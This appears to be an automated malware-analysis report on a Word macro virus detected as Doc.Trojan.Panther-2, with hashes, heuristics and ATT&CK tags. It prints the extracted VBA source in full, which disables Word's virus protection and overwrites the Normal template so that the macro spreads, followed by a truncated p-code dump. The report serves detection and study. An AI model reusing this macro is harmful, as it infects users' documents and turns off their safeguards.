Doc.Trojan.Panther-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 2f14ba252776fc0d…

MALICIOUS

Office (OLE)

33.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 58c26724cbcbdcb5e918ed4360c546e2 SHA-1: 7539f62a1e930e27a9209e0a1e7aa245e4781a2c SHA-256: 2f14ba252776fc0d6a096375b1672129c7ce49f69ceddadb44660b04e584fa75
180 Risk Score

Malware Insights

Doc.Trojan.Panther-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a critical ClamAV detection for 'Doc.Trojan.Panther-2' and a high-severity heuristic for a Document_Open macro. The VBA macro's Document_Open subroutine is designed to modify the Normal template by replacing its content with obfuscated code. This modification is likely intended to achieve persistence or spread to other documents.

Heuristics 3

  • ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Panther-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4241 bytes
SHA-256: 3863d6c065b4142923b5cce23bd08154ada1905ff05fe1328ba4a57767e34497
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

' Processing file: /opt/analyzer/scan_staging/9676fda721f9447288dc78c6767fe241.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2877 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Private Sub Document_Open())
' Line #2:
' 	Dim 
' 	VarDefn code (As String)
' Line #3:
' 	Ld NormalTemplate 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	IfBlock 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #6:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St code 
' Line #7:
' 	Ld code 
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #8:
' 	Ld code 
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #9:
' 	Ld code 
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #10:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #11:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #12:
' 	Ld code 
' 	ArgsMemCallWith AddFromString 0x0001 
' Line #13:
' 	EndWith 
' Line #14:
' 	EndWith 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	EndSub 
' Line #17:
' 	FuncDefn (Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String))
' Line #18:
' 	Dim 
' 	VarDefn index (As Long)
' 	VarDefn pre (As String)
' 	VarDefn post (As String)
' 	VarDefn preLen (As Long)
' Line #19:
' Line #20:
' 	Ld prepre 
' 	Ld prepost 
' 	Add 
' 	St pre 
' Line #21:
' 	Ld postpre 
' 	Ld postpost 
' 	Add 
' 	St post 
' Line #22:
' Line #23:
' 	LitDI2 0x0001 
' 	St index 
' Line #24:
' 	Ld pre 
' 	FnLen 
' 	St preLen 
' Line #25:
' Line #26:
' 	Ld index 
' 	Ld target 
' 	Ld pre 
' 	FnInStr3 
' 	LitDI2 0x0000 
' 	Ne 
' 	While 
' Line #27:
' 	Ld index 
' 	Ld target 
' 	Ld pre 
' 	FnInStr3 
' 	St index 
' Line #28:
' 	Ld target 
' 	Ld index 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd LBound 0x0002 
' 	Ld post 
' 	Add 
' 	Ld target 
' 	Ld index 
' 	Ld preLen 
' 	Add 
' 	ArgsLd 
... (truncated)